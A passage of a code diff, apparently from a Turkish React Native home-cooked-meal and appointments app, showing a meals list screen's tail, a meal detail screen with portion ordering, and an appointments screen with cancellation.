||||||
|
</Text>
|
||||||
|
</View>
|
||||||
|
<View style={styles.distanceSliderRow}>
|
||||||
|
{([500, 1000, 2000, 3000, 5000, 0] as number[]).map(r => (
|
||||||
|
<TouchableOpacity
|
||||||
|
key={r}
|
||||||
|
style={[styles.distanceChip, radius === r && styles.distanceChipActive]}
|
||||||
|
onPress={() => setRadius(r)}>
|
||||||
|
<Text style={[styles.distanceChipText, radius === r && styles.distanceChipTextActive]}>
|
||||||
|
{r === 0 ? t('common.all') : r >= 1000 ? `${r / 1000}km` : `${r}m`}
|
||||||
|
</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
))}
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{/* ── Section Title ── */}
|
||||||
|
<View style={styles.sectionHeader}>
|
||||||
|
<Text style={styles.sectionTitle}>{t('meals.nearbyMeals')}</Text>
|
||||||
|
{filteredMeals.length > 0 && (
|
||||||
|
<Text style={styles.sectionCount}>{t('meals.mealCount', {count: filteredMeals.length})}</Text>
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
</>
|
||||||
|
);
|
||||||
|
|
||||||
|
useFocusEffect(
|
||||||
|
useCallback(() => {
|
||||||
|
StatusBar.setBarStyle('light-content');
|
||||||
|
StatusBar.setBackgroundColor(THEME);
|
||||||
|
}, []),
|
||||||
|
);
|
||||||
|
|
||||||
|
return (
|
||||||
|
<View style={styles.container}>
|
||||||
|
|
||||||
|
{/* ── Sticky Header ── */}
|
||||||
|
<View style={[styles.header, {paddingTop: insets.top + 8}]}>
|
||||||
|
<View style={styles.headerRow}>
|
||||||
|
<View>
|
||||||
|
<Text style={styles.headerTitle}>{t('meals.title')}</Text>
|
||||||
|
<Text style={styles.headerSubtitle}>{t('meals.subtitle')}</Text>
|
||||||
|
</View>
|
||||||
|
<TouchableOpacity style={styles.headerIconBtn} onPress={() => navigation.navigate('AiChat')}>
|
||||||
|
<Icon name="robot" size={20} color="#FFFFFF" />
|
||||||
|
<Text style={styles.aiLabel}>AI</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
</View>
|
||||||
|
<View style={styles.searchBar}>
|
||||||
|
<Text style={styles.searchIcon}>🔍</Text>
|
||||||
|
<TextInput
|
||||||
|
style={styles.searchInput}
|
||||||
|
placeholder={t('meals.searchPlaceholder')}
|
||||||
|
placeholderTextColor="#9CA3AF"
|
||||||
|
value={searchQuery}
|
||||||
|
onChangeText={setSearchQuery}
|
||||||
|
/>
|
||||||
|
{searchQuery.length > 0 && (
|
||||||
|
<TouchableOpacity onPress={() => setSearchQuery('')}>
|
||||||
|
<Text style={styles.clearIcon}>✕</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
<OfflineBanner />
|
||||||
|
|
||||||
|
{/* ── Scrollable ── */}
|
||||||
|
<FlatList
|
||||||
|
data={filteredMeals}
|
||||||
|
keyExtractor={item => item.id}
|
||||||
|
renderItem={renderMealCard}
|
||||||
|
ListHeaderComponent={renderScrollHeader}
|
||||||
|
contentContainerStyle={styles.list}
|
||||||
|
refreshControl={
|
||||||
|
<RefreshControl refreshing={loading} onRefresh={fetchMeals} colors={[THEME]} />
|
||||||
|
}
|
||||||
|
ListEmptyComponent={
|
||||||
|
!loading ? (
|
||||||
|
<View style={styles.empty}>
|
||||||
|
<View style={styles.emptyIconContainer}>
|
||||||
|
<Text style={styles.emptyIconText}>🍲</Text>
|
||||||
|
</View>
|
||||||
|
<Text style={styles.emptyTitle}>{t('meals.emptyTitle')}</Text>
|
||||||
|
<Text style={styles.emptyText}>{t('meals.emptyText')}</Text>
|
||||||
|
</View>
|
||||||
|
) : null
|
||||||
|
}
|
||||||
|
/>
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const styles = StyleSheet.create({
|
||||||
|
container: {flex: 1, backgroundColor: '#F8F8F8'},
|
||||||
|
|
||||||
|
// Header
|
||||||
|
header: {
|
||||||
|
backgroundColor: THEME,
|
||||||
|
paddingBottom: 16,
|
||||||
|
paddingHorizontal: 16,
|
||||||
|
},
|
||||||
|
headerRow: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
justifyContent: 'space-between',
|
||||||
|
alignItems: 'center',
|
||||||
|
marginBottom: 12,
|
||||||
|
},
|
||||||
|
headerTitle: {fontSize: 22, fontWeight: '700', color: '#FFFFFF'},
|
||||||
|
headerSubtitle: {fontSize: 13, color: 'rgba(255,255,255,0.7)', fontWeight: '500', marginTop: 2},
|
||||||
|
headerIconBtn: {
|
||||||
|
width: 40, height: 40, borderRadius: 20,
|
||||||
|
backgroundColor: 'rgba(255,255,255,0.15)',
|
||||||
|
justifyContent: 'center', alignItems: 'center',
|
||||||
|
},
|
||||||
|
headerIcon: {fontSize: 18},
|
||||||
|
aiLabel: {fontSize: 8, fontWeight: '700', color: '#FFFFFF', marginTop: 1},
|
||||||
|
|
||||||
|
// Search
|
||||||
|
searchBar: {
|
||||||
|
flexDirection: 'row', alignItems: 'center',
|
||||||
|
backgroundColor: '#FFFFFF', borderRadius: 12,
|
||||||
|
paddingHorizontal: 14, height: 46, gap: 10,
|
||||||
|
},
|
||||||
|
searchIcon: {fontSize: 16},
|
||||||
|
searchInput: {flex: 1, fontSize: 14, color: '#1A1A1A', padding: 0},
|
||||||
|
clearIcon: {fontSize: 16, color: '#9CA3AF', padding: 4},
|
||||||
|
|
||||||
|
// Distance
|
||||||
|
distanceSection: {
|
||||||
|
backgroundColor: '#FFFFFF', paddingHorizontal: 16, paddingVertical: 12,
|
||||||
|
borderBottomWidth: 1, borderBottomColor: '#F3F4F6',
|
||||||
|
},
|
||||||
|
distanceHeader: {flexDirection: 'row', justifyContent: 'space-between', alignItems: 'center', marginBottom: 8},
|
||||||
|
distanceLabel: {fontSize: 13, fontWeight: '600', color: '#374151'},
|
||||||
|
distanceValue: {fontSize: 13, fontWeight: '700', color: THEME},
|
||||||
|
distanceSliderRow: {flexDirection: 'row', gap: 8},
|
||||||
|
distanceChip: {
|
||||||
|
flex: 1, paddingVertical: 8, borderRadius: 20,
|
||||||
|
backgroundColor: '#F3F4F6', alignItems: 'center',
|
||||||
|
},
|
||||||
|
distanceChipActive: {backgroundColor: THEME},
|
||||||
|
distanceChipText: {fontSize: 12, fontWeight: '600', color: '#6B7280'},
|
||||||
|
distanceChipTextActive: {color: '#FFFFFF'},
|
||||||
|
|
||||||
|
// Section
|
||||||
|
sectionHeader: {
|
||||||
|
flexDirection: 'row', justifyContent: 'space-between', alignItems: 'center',
|
||||||
|
paddingHorizontal: 16, paddingTop: 20, paddingBottom: 12,
|
||||||
|
},
|
||||||
|
sectionTitle: {fontSize: 20, fontWeight: '700', color: '#1A1A1A'},
|
||||||
|
sectionCount: {fontSize: 13, color: '#9CA3AF', fontWeight: '500'},
|
||||||
|
|
||||||
|
// List
|
||||||
|
list: {paddingBottom: 100},
|
||||||
|
cardWrapper: {paddingHorizontal: 16},
|
||||||
|
|
||||||
|
// Card
|
||||||
|
card: {
|
||||||
|
backgroundColor: '#FFFFFF', borderRadius: 12,
|
||||||
|
marginBottom: 12, overflow: 'hidden',
|
||||||
|
shadowColor: '#000', shadowOffset: {width: 0, height: 1},
|
||||||
|
shadowOpacity: 0.05, shadowRadius: 4, elevation: 2,
|
||||||
|
},
|
||||||
|
cardImage: {height: 160, position: 'relative', backgroundColor: THEME_LIGHT},
|
||||||
|
cardImg: {width: '100%', height: '100%'},
|
||||||
|
deliveryBadge: {
|
||||||
|
position: 'absolute', bottom: 10, left: 10,
|
||||||
|
borderRadius: 6, paddingHorizontal: 10, paddingVertical: 3,
|
||||||
|
},
|
||||||
|
deliveryText: {fontSize: 11, fontWeight: '700', color: '#FFFFFF'},
|
||||||
|
portionBadge: {
|
||||||
|
position: 'absolute', top: 10, right: 10,
|
||||||
|
backgroundColor: '#F59E0B', borderRadius: 6,
|
||||||
|
paddingHorizontal: 10, paddingVertical: 3,
|
||||||
|
},
|
||||||
|
portionText: {fontSize: 11, fontWeight: '700', color: '#FFFFFF'},
|
||||||
|
cardInfo: {padding: 12},
|
||||||
|
cardNameRow: {flexDirection: 'row', justifyContent: 'space-between', alignItems: 'center', marginBottom: 4},
|
||||||
|
cardCookName: {fontSize: 13, fontWeight: '600', color: THEME_DARK, flex: 1},
|
||||||
|
cardDistance: {fontSize: 12, color: '#9CA3AF'},
|
||||||
|
cardTitle: {fontSize: 16, fontWeight: '700', color: '#1A1A1A', marginBottom: 4, lineHeight: 22},
|
||||||
|
cardDesc: {fontSize: 13, color: '#6B7280', marginBottom: 8},
|
||||||
|
cardPriceRow: {flexDirection: 'row', alignItems: 'baseline'},
|
||||||
|
cardPrice: {fontSize: 18, fontWeight: '800', color: THEME},
|
||||||
|
cardPriceLabel: {fontSize: 13, color: '#6B7280'},
|
||||||
|
cardPortions: {fontSize: 12, color: '#9CA3AF', marginLeft: 'auto'},
|
||||||
|
|
||||||
|
// Empty
|
||||||
|
empty: {alignItems: 'center', paddingTop: 48, paddingHorizontal: 40},
|
||||||
|
emptyIconContainer: {
|
||||||
|
width: 80, height: 80, borderRadius: 40,
|
||||||
|
backgroundColor: THEME_LIGHT, justifyContent: 'center', alignItems: 'center', marginBottom: 16,
|
||||||
|
},
|
||||||
|
emptyIconText: {fontSize: 36},
|
||||||
|
emptyTitle: {fontSize: 18, fontWeight: '700', color: '#1A1A1A', marginBottom: 8},
|
||||||
|
emptyText: {fontSize: 14, color: '#6B7280', textAlign: 'center'},
|
||||||
|
});
|
||||||
@@ -0,0 +1,234 @@
|
|||||||
|
import React, {useEffect, useState} from 'react';
|
||||||
|
import {
|
||||||
|
View,
|
||||||
|
Text,
|
||||||
|
TouchableOpacity,
|
||||||
|
StyleSheet,
|
||||||
|
ScrollView,
|
||||||
|
Image,
|
||||||
|
Alert,
|
||||||
|
ActivityIndicator,
|
||||||
|
} from 'react-native';
|
||||||
|
import {useSafeAreaInsets} from 'react-native-safe-area-context';
|
||||||
|
import {useTranslation} from 'react-i18next';
|
||||||
|
import * as mealsApi from '../../api/meals';
|
||||||
|
import type {MealListing} from '../../types/models';
|
||||||
|
|
||||||
|
const BASE_URL = 'https://bereketli.pezkiwi.app';
|
||||||
|
const THEME = '#C68B1E';
|
||||||
|
|
||||||
|
const MEAL_IMAGES: Record<string, string> = {
|
||||||
|
corba: `${BASE_URL}/meal-soup.png`,
|
||||||
|
soup: `${BASE_URL}/meal-soup.png`,
|
||||||
|
borek: `${BASE_URL}/meal-borek.png`,
|
||||||
|
fasulye: `${BASE_URL}/meal-fasulye.png`,
|
||||||
|
karniyarik: `${BASE_URL}/meal-karniyarik.png`,
|
||||||
|
};
|
||||||
|
|
||||||
|
function getMealImage(title: string): string {
|
||||||
|
const lower = title.toLowerCase();
|
||||||
|
for (const [key, url] of Object.entries(MEAL_IMAGES)) {
|
||||||
|
if (lower.includes(key)) return url;
|
||||||
|
}
|
||||||
|
return `${BASE_URL}/homemade-meal.png`;
|
||||||
|
}
|
||||||
|
|
||||||
|
function formatTime(iso: string): string {
|
||||||
|
const d = new Date(iso);
|
||||||
|
return `${d.getHours().toString().padStart(2, '0')}:${d.getMinutes().toString().padStart(2, '0')}`;
|
||||||
|
}
|
||||||
|
|
||||||
|
export default function MealDetailScreen({route, navigation}: any) {
|
||||||
|
const {t} = useTranslation();
|
||||||
|
const {mealId, cookName} = route.params;
|
||||||
|
const [meal, setMeal] = useState<MealListing | null>(null);
|
||||||
|
const [loading, setLoading] = useState(true);
|
||||||
|
const [ordering, setOrdering] = useState(false);
|
||||||
|
const [portions, setPortions] = useState(1);
|
||||||
|
const insets = useSafeAreaInsets();
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
mealsApi.getMeal(mealId).then(data => {
|
||||||
|
setMeal(data);
|
||||||
|
setLoading(false);
|
||||||
|
}).catch(() => setLoading(false));
|
||||||
|
}, [mealId]);
|
||||||
|
|
||||||
|
const handleOrder = async () => {
|
||||||
|
if (!meal) return;
|
||||||
|
setOrdering(true);
|
||||||
|
try {
|
||||||
|
const order = await mealsApi.orderMeal(mealId, portions);
|
||||||
|
Alert.alert(
|
||||||
|
'Sipariş Verildi!',
|
||||||
|
`Sipariş #${order.id.slice(0, 8).toUpperCase()}\n${portions} porsiyon ${meal.title}\nToplam: ${(meal.price_per_portion * portions).toFixed(0)} TL\n\nAşçı onayladıktan sonra bilgilendirileceksiniz.`,
|
||||||
|
[{text: 'Tamam', onPress: () => navigation.goBack()}],
|
||||||
|
);
|
||||||
|
} catch (err: any) {
|
||||||
|
const msg = err?.response?.data?.message || 'Sipariş oluşturulamadı.';
|
||||||
|
Alert.alert('Hata', msg);
|
||||||
|
} finally {
|
||||||
|
setOrdering(false);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
if (loading) {
|
||||||
|
return (
|
||||||
|
<View style={styles.loadingContainer}>
|
||||||
|
<ActivityIndicator size="large" color={THEME} />
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!meal) {
|
||||||
|
return (
|
||||||
|
<View style={styles.loadingContainer}>
|
||||||
|
<Text style={styles.errorText}>{t('mealDetail.notFound')}</Text>
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const photoUri = meal.photos && meal.photos.length > 0
|
||||||
|
? (meal.photos[0].startsWith('http') ? meal.photos[0] : `${BASE_URL}${meal.photos[0]}`)
|
||||||
|
: getMealImage(meal.title);
|
||||||
|
|
||||||
|
const total = meal.price_per_portion * portions;
|
||||||
|
|
||||||
|
return (
|
||||||
|
<View style={styles.container}>
|
||||||
|
{/* Header */}
|
||||||
|
<View style={[styles.header, {paddingTop: insets.top + 8}]}>
|
||||||
|
<TouchableOpacity style={styles.backBtn} onPress={() => navigation.goBack()}>
|
||||||
|
<Text style={styles.backIcon}>←</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
<Text style={styles.headerTitle}>{t('mealDetail.title')}</Text>
|
||||||
|
<View style={{width: 40}} />
|
||||||
|
</View>
|
||||||
|
|
||||||
|
<ScrollView contentContainerStyle={styles.scroll}>
|
||||||
|
{/* Image */}
|
||||||
|
<Image source={{uri: photoUri}} style={styles.image} resizeMode="cover" />
|
||||||
|
|
||||||
|
{/* Info */}
|
||||||
|
<View style={styles.info}>
|
||||||
|
<Text style={styles.cookName}>{cookName || t('mealDetail.defaultCook')}</Text>
|
||||||
|
<Text style={styles.title}>{meal.title}</Text>
|
||||||
|
{meal.description && (
|
||||||
|
<Text style={styles.description}>{meal.description}</Text>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{/* Details */}
|
||||||
|
<View style={styles.detailCard}>
|
||||||
|
<View style={styles.detailRow}>
|
||||||
|
<Text style={styles.detailLabel}>Fiyat</Text>
|
||||||
|
<Text style={styles.detailValue}>{meal.price_per_portion.toFixed(0)} TL / porsiyon</Text>
|
||||||
|
</View>
|
||||||
|
<View style={styles.detailDivider} />
|
||||||
|
<View style={styles.detailRow}>
|
||||||
|
<Text style={styles.detailLabel}>Müsait</Text>
|
||||||
|
<Text style={styles.detailValue}>{formatTime(meal.available_until)}'e kadar</Text>
|
||||||
|
</View>
|
||||||
|
<View style={styles.detailDivider} />
|
||||||
|
<View style={styles.detailRow}>
|
||||||
|
<Text style={styles.detailLabel}>Kalan</Text>
|
||||||
|
<Text style={styles.detailValue}>{meal.remaining_portions} / {meal.total_portions} porsiyon</Text>
|
||||||
|
</View>
|
||||||
|
<View style={styles.detailDivider} />
|
||||||
|
<View style={styles.detailRow}>
|
||||||
|
<Text style={styles.detailLabel}>Teslim</Text>
|
||||||
|
<Text style={styles.detailValue}>
|
||||||
|
{meal.pickup_or_delivery === 'pickup' ? 'Gel Al' :
|
||||||
|
meal.pickup_or_delivery === 'delivery' ? 'Adrese Teslimat' : 'Gel Al / Teslimat'}
|
||||||
|
</Text>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{/* Portion selector */}
|
||||||
|
<View style={styles.portionSection}>
|
||||||
|
<Text style={styles.portionLabel}>Porsiyon</Text>
|
||||||
|
<View style={styles.portionSelector}>
|
||||||
|
<TouchableOpacity
|
||||||
|
style={styles.portionBtn}
|
||||||
|
onPress={() => setPortions(Math.max(1, portions - 1))}>
|
||||||
|
<Text style={styles.portionBtnText}>−</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
<Text style={styles.portionCount}>{portions}</Text>
|
||||||
|
<TouchableOpacity
|
||||||
|
style={styles.portionBtn}
|
||||||
|
onPress={() => setPortions(Math.min(meal.remaining_portions, portions + 1))}>
|
||||||
|
<Text style={styles.portionBtnText}>+</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
</ScrollView>
|
||||||
|
|
||||||
|
{/* Bottom bar */}
|
||||||
|
<View style={[styles.bottomBar, {paddingBottom: Math.max(insets.bottom, 20)}]}>
|
||||||
|
<View>
|
||||||
|
<Text style={styles.totalLabel}>Toplam</Text>
|
||||||
|
<Text style={styles.totalPrice}>{total.toFixed(0)} TL</Text>
|
||||||
|
</View>
|
||||||
|
<TouchableOpacity
|
||||||
|
style={[styles.orderBtn, ordering && {opacity: 0.6}]}
|
||||||
|
onPress={handleOrder}
|
||||||
|
disabled={ordering || meal.remaining_portions === 0}>
|
||||||
|
<Text style={styles.orderBtnText}>
|
||||||
|
{ordering ? t('mealDetail.ordering') : meal.remaining_portions === 0 ? t('mealDetail.soldOut') : t('mealDetail.order')}
|
||||||
|
</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const styles = StyleSheet.create({
|
||||||
|
container: {flex: 1, backgroundColor: '#F8F8F8'},
|
||||||
|
loadingContainer: {flex: 1, justifyContent: 'center', alignItems: 'center', backgroundColor: '#F8F8F8'},
|
||||||
|
errorText: {fontSize: 16, color: '#9CA3AF'},
|
||||||
|
|
||||||
|
header: {
|
||||||
|
flexDirection: 'row', alignItems: 'center', justifyContent: 'space-between',
|
||||||
|
paddingHorizontal: 16, paddingBottom: 12, backgroundColor: THEME,
|
||||||
|
},
|
||||||
|
backBtn: {width: 40, height: 40, justifyContent: 'center', alignItems: 'center'},
|
||||||
|
backIcon: {fontSize: 22, color: '#FFFFFF'},
|
||||||
|
headerTitle: {fontSize: 17, fontWeight: '700', color: '#FFFFFF'},
|
||||||
|
|
||||||
|
scroll: {paddingBottom: 120},
|
||||||
|
image: {width: '100%', height: 220},
|
||||||
|
|
||||||
|
info: {padding: 16},
|
||||||
|
cookName: {fontSize: 14, fontWeight: '600', color: THEME, marginBottom: 4},
|
||||||
|
title: {fontSize: 22, fontWeight: '700', color: '#1A1A1A', marginBottom: 8},
|
||||||
|
description: {fontSize: 15, color: '#6B7280', lineHeight: 22, marginBottom: 16},
|
||||||
|
|
||||||
|
detailCard: {backgroundColor: '#FFFFFF', borderRadius: 12, padding: 16, marginBottom: 16},
|
||||||
|
detailRow: {flexDirection: 'row', justifyContent: 'space-between', alignItems: 'center', paddingVertical: 10},
|
||||||
|
detailDivider: {height: 1, backgroundColor: '#F3F4F6'},
|
||||||
|
detailLabel: {fontSize: 14, color: '#6B7280'},
|
||||||
|
detailValue: {fontSize: 14, fontWeight: '600', color: '#1A1A1A'},
|
||||||
|
|
||||||
|
portionSection: {
|
||||||
|
flexDirection: 'row', justifyContent: 'space-between', alignItems: 'center',
|
||||||
|
backgroundColor: '#FFFFFF', borderRadius: 12, padding: 16,
|
||||||
|
},
|
||||||
|
portionLabel: {fontSize: 16, fontWeight: '600', color: '#1A1A1A'},
|
||||||
|
portionSelector: {flexDirection: 'row', alignItems: 'center', gap: 16},
|
||||||
|
portionBtn: {
|
||||||
|
width: 40, height: 40, borderRadius: 20,
|
||||||
|
backgroundColor: '#F3F4F6', justifyContent: 'center', alignItems: 'center',
|
||||||
|
},
|
||||||
|
portionBtnText: {fontSize: 20, fontWeight: '600', color: '#1A1A1A'},
|
||||||
|
portionCount: {fontSize: 20, fontWeight: '700', color: '#1A1A1A', minWidth: 30, textAlign: 'center'},
|
||||||
|
|
||||||
|
bottomBar: {
|
||||||
|
flexDirection: 'row', justifyContent: 'space-between', alignItems: 'center',
|
||||||
|
paddingHorizontal: 20, paddingTop: 16,
|
||||||
|
backgroundColor: '#FFFFFF', borderTopWidth: 1, borderTopColor: '#F3F4F6',
|
||||||
|
},
|
||||||
|
totalLabel: {fontSize: 12, color: '#9CA3AF'},
|
||||||
|
totalPrice: {fontSize: 22, fontWeight: '800', color: THEME},
|
||||||
|
orderBtn: {backgroundColor: THEME, borderRadius: 12, paddingHorizontal: 28, paddingVertical: 14},
|
||||||
|
orderBtnText: {fontSize: 16, fontWeight: '700', color: '#FFFFFF'},
|
||||||
|
});
|
||||||
@@ -0,0 +1,174 @@
|
|||||||
|
import React, {useEffect, useState} from 'react';
|
||||||
|
import {
|
||||||
|
View,
|
||||||
|
Text,
|
||||||
|
FlatList,
|
||||||
|
TouchableOpacity,
|
||||||
|
StyleSheet,
|
||||||
|
ActivityIndicator,
|
||||||
|
Alert,
|
||||||
|
RefreshControl,
|
||||||
|
} from 'react-native';
|
||||||
|
import {useSafeAreaInsets} from 'react-native-safe-area-context';
|
||||||
|
import {useTranslation} from 'react-i18next';
|
||||||
|
import {colors} from '../../theme';
|
||||||
|
import * as merchantsApi from '../../api/merchants';
|
||||||
|
import type {Appointment} from '../../api/merchants';
|
||||||
|
|
||||||
|
const STATUS_LABELS: Record<string, {label: string; color: string; bg: string}> = {
|
||||||
|
pending: {label: 'Bekliyor', color: '#D97706', bg: '#FEF3C7'},
|
||||||
|
confirmed: {label: 'Onaylandı', color: '#059669', bg: '#D1FAE5'},
|
||||||
|
completed: {label: 'Tamamlandı', color: '#6B7280', bg: '#F3F4F6'},
|
||||||
|
cancelled: {label: 'İptal', color: '#DC2626', bg: '#FEE2E2'},
|
||||||
|
no_show: {label: 'Gelmedi', color: '#9CA3AF', bg: '#F3F4F6'},
|
||||||
|
};
|
||||||
|
|
||||||
|
export default function AppointmentsScreen({navigation}: any) {
|
||||||
|
const {t} = useTranslation();
|
||||||
|
const [appointments, setAppointments] = useState<Appointment[]>([]);
|
||||||
|
const [loading, setLoading] = useState(true);
|
||||||
|
const [refreshing, setRefreshing] = useState(false);
|
||||||
|
const insets = useSafeAreaInsets();
|
||||||
|
|
||||||
|
const fetchAppointments = async (isRefresh = false) => {
|
||||||
|
if (isRefresh) setRefreshing(true);
|
||||||
|
else setLoading(true);
|
||||||
|
try {
|
||||||
|
const data = await merchantsApi.getMyAppointments();
|
||||||
|
setAppointments(data);
|
||||||
|
} catch {
|
||||||
|
// Silent
|
||||||
|
} finally {
|
||||||
|
setLoading(false);
|
||||||
|
setRefreshing(false);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
fetchAppointments();
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
const handleCancel = async (id: string) => {
|
||||||
|
Alert.alert('Randevu İptal', 'Bu randevuyu iptal etmek istediğinizden emin misiniz?', [
|
||||||
|
{text: 'Vazgeç', style: 'cancel'},
|
||||||
|
{
|
||||||
|
text: 'İptal Et',
|
||||||
|
style: 'destructive',
|
||||||
|
onPress: async () => {
|
||||||
|
try {
|
||||||
|
await merchantsApi.cancelAppointment(id);
|
||||||
|
fetchAppointments();
|
||||||
|
} catch {
|
||||||
|
Alert.alert('Hata', 'Randevu iptal edilemedi.');
|
||||||
|
}
|
||||||
|
},
|
||||||
|
},
|
||||||
|
]);
|
||||||
|
};
|
||||||
|
|
||||||
|
const formatDate = (dateStr: string) => {
|
||||||
|
const d = new Date(dateStr);
|
||||||
|
const days = ['Pazar', 'Pazartesi', 'Salı', 'Çarşamba', 'Perşembe', 'Cuma', 'Cumartesi'];
|
||||||
|
return `${d.getDate()}.${(d.getMonth() + 1).toString().padStart(2, '0')} ${days[d.getDay()]}`;
|
||||||
|
};
|
||||||
|
|
||||||
|
if (loading && appointments.length === 0) {
|
||||||
|
return (
|
||||||
|
<View style={styles.loadingContainer}>
|
||||||
|
<ActivityIndicator size="large" color={colors.primary} />
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
return (
|
||||||
|
<View style={styles.container}>
|
||||||
|
<View style={[styles.header, {paddingTop: insets.top + 8}]}>
|
||||||
|
<TouchableOpacity style={styles.backBtn} onPress={() => navigation.goBack()}>
|
||||||
|
<Text style={styles.backIcon}>←</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
<Text style={styles.headerTitle}>{t('appointments.title')}</Text>
|
||||||
|
<View style={{width: 40}} />
|
||||||
|
</View>
|
||||||
|
|
||||||
|
<FlatList
|
||||||
|
data={appointments}
|
||||||
|
keyExtractor={item => item.id}
|
||||||
|
contentContainerStyle={styles.list}
|
||||||
|
refreshControl={
|
||||||
|
<RefreshControl refreshing={refreshing} onRefresh={() => fetchAppointments(true)} colors={[colors.primary]} />
|
||||||
|
}
|
||||||
|
renderItem={({item}) => {
|
||||||
|
const status = STATUS_LABELS[item.status] || STATUS_LABELS.pending;
|
||||||
|
return (
|
||||||
|
<View style={styles.card}>
|
||||||
|
<View style={styles.cardHeader}>
|
||||||
|
<Text style={styles.merchantName}>{item.merchant_name}</Text>
|
||||||
|
<View style={[styles.statusBadge, {backgroundColor: status.bg}]}>
|
||||||
|
<Text style={[styles.statusText, {color: status.color}]}>{status.label}</Text>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
<Text style={styles.serviceName}>{item.service_name}</Text>
|
||||||
|
<View style={styles.cardMeta}>
|
||||||
|
<Text style={styles.metaItem}>📅 {formatDate(item.appointment_date)}</Text>
|
||||||
|
<Text style={styles.metaItem}>🕐 {item.time_slot}</Text>
|
||||||
|
<Text style={styles.metaItem}>⏱ {item.duration_minutes} dk</Text>
|
||||||
|
{item.price != null && (
|
||||||
|
<Text style={styles.metaPrice}>{item.price.toFixed(0)} TL</Text>
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
{item.notes && <Text style={styles.notes}>{item.notes}</Text>}
|
||||||
|
{(item.status === 'pending' || item.status === 'confirmed') && (
|
||||||
|
<TouchableOpacity style={styles.cancelBtn} onPress={() => handleCancel(item.id)}>
|
||||||
|
<Text style={styles.cancelBtnText}>İptal Et</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
}}
|
||||||
|
ListEmptyComponent={
|
||||||
|
<View style={styles.empty}>
|
||||||
|
<Text style={styles.emptyIcon}>📅</Text>
|
||||||
|
<Text style={styles.emptyTitle}>{t('appointments.emptyTitle')}</Text>
|
||||||
|
<Text style={styles.emptyText}>{t('appointments.emptyText')}</Text>
|
||||||
|
</View>
|
||||||
|
}
|
||||||
|
/>
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const styles = StyleSheet.create({
|
||||||
|
container: {flex: 1, backgroundColor: '#F8F8F8'},
|
||||||
|
loadingContainer: {flex: 1, justifyContent: 'center', alignItems: 'center', backgroundColor: '#F8F8F8'},
|
||||||
|
header: {
|
||||||
|
flexDirection: 'row', alignItems: 'center', justifyContent: 'space-between',
|
||||||
|
paddingHorizontal: 16, paddingBottom: 12, backgroundColor: colors.primary,
|
||||||
|
},
|
||||||
|
backBtn: {width: 40, height: 40, justifyContent: 'center', alignItems: 'center'},
|
||||||
|
backIcon: {fontSize: 22, color: '#FFFFFF'},
|
||||||
|
headerTitle: {fontSize: 17, fontWeight: '700', color: '#FFFFFF'},
|
||||||
|
list: {padding: 16, paddingBottom: 100},
|
||||||
|
card: {
|
||||||
|
backgroundColor: '#FFFFFF', borderRadius: 12, padding: 16, marginBottom: 12,
|
||||||
|
shadowColor: '#000', shadowOffset: {width: 0, height: 1}, shadowOpacity: 0.05, shadowRadius: 4, elevation: 2,
|
||||||
|
},
|
||||||
|
cardHeader: {flexDirection: 'row', justifyContent: 'space-between', alignItems: 'center', marginBottom: 6},
|
||||||
|
merchantName: {fontSize: 16, fontWeight: '700', color: '#1A1A1A', flex: 1},
|
||||||
|
statusBadge: {borderRadius: 6, paddingHorizontal: 10, paddingVertical: 3},
|
||||||
|
statusText: {fontSize: 12, fontWeight: '700'},
|
||||||
|
serviceName: {fontSize: 15, fontWeight: '500', color: '#374151', marginBottom: 10},
|
||||||
|
cardMeta: {flexDirection: 'row', flexWrap: 'wrap', gap: 12},
|
||||||
|
metaItem: {fontSize: 13, color: '#6B7280'},
|
||||||
|
metaPrice: {fontSize: 14, fontWeight: '700', color: colors.primary},
|
||||||
|
notes: {fontSize: 13, color: '#9CA3AF', fontStyle: 'italic', marginTop: 8},
|
||||||
|
cancelBtn: {
|
||||||
|
marginTop: 12, alignSelf: 'flex-start',
|
||||||
|
paddingHorizontal: 16, paddingVertical: 8, borderRadius: 8,
|
||||||
|
borderWidth: 1, borderColor: '#EF4444',
|
||||||
|
},
|
||||||
|
cancelBtnText: {fontSize: 13, fontWeight: '600', color: '#EF4444'},
|
||||||
|
empty: {alignItems: 'center', paddingTop: 48},
|
||||||
|
emptyIcon: {fontSize: 48, marginBottom: 12},
|
||||||
|
emptyTitle: {fontSize: 18, fontWeight: '700', color: '#1A1A1A', marginBottom: 6},
|
||||||
|
emptyText: {fontSize: 14, color: '#6B7280', textAlign: 'center', paddingHorizontal: 40},
|
||||||
|
});
|
||||||
@@ -0,0 +1,155 @@
|
|||||||
|
import React, {useState} from 'react';
|
||||||
